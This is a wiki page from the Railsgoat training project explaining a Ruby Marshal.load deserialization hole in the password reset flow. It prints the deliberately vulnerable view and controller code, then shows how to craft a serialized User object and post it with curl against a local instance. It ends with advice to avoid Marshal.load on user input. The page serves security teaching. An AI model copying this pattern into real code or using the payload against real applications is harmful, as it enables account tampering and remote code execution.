-
Notifications
You must be signed in to change notification settings - Fork 687
Extras: Remote Code Execution
Ruby Marshal Security Considerations
Code Injection is the general term for attack types which consist of injecting code that is then interpreted/executed by the application. This type of attack exploits poor handling of untrusted data.
Railsgoat includes a remote code execution vulnerability through Ruby's Marshal.load vulnerability. Ruby's Marshal.load also the deserialization of arbitrary objects. The password reset controller includes a deserialization vulnerability. During the forgot password flow, after the user clicks on the reset email link, the application verifies the token then adds a Marshaled user object which is posted during the password reset.
Within reset_password.html.erb
<div class="content">
<%= hidden_field_tag 'user', Base64.encode64(Marshal.dump(@user)) %>
<%= label_tag "Enter Password" %>
<%= password_field_tag :password, params[:password], {:class => "input input-block-level"} %>
<%= label_tag "Confirm Password" %>
<%= password_field_tag :confirm_password, params[:confirm_password], {:class => "input input-block-level"} %>
</div>
Within password_resets_controller.rb
def reset_password
user = Marshal.load(Base64.decode64(params[:user])) unless params[:user].nil?
if user && params[:password] && params[:confirm_password] && params[:password] == params[:confirm_password]
user.password = params[:password]
user.save!
flash[:success] = "Your password has been reset please login"
redirect_to :login
else
flash[:error] = "Error resetting your password. Please try again."
redirect_to :login
end
end
# Dump an ActiveRecord object with the needed attributes for a User.
# This can be done in the railsgoat project or from another Rails 3.2 project by
# creating a User class with the required fields (id, user_id, created_at, updated_at)
# and the additional fields you want to change.
# Assuming a table named 'users' with id, user_id, created_at, updated_at, and email
# as columns exists
class User < ActiveRecord::Base; end
user = User.new(id: 5, user_id: 5)
user.save
user.email = 'new-email@domain.tld'
# Loading an existing user if in the railsgoat rails console will also work
# user = User.last
# user.email = "new-email@domain.tld"
Base64.strict_encode64(Marshal.dump(user))
# => "BAhvOglVc2VyEDoQQGF0...
curl --data "user=<base64_encoded_object>&password=password&confirm_password=password" http://localhost:3000/password_resets
Applications should never use Marshal load with user input. If possible Marshal load should not be used in an application. Other forms of serialization can be used such as json.
What does the password reset screen have in the source?
Sections are divided by their OWASP Top Ten label (A1-A10) and marked as R4 and R5 for Rails 4 and 5.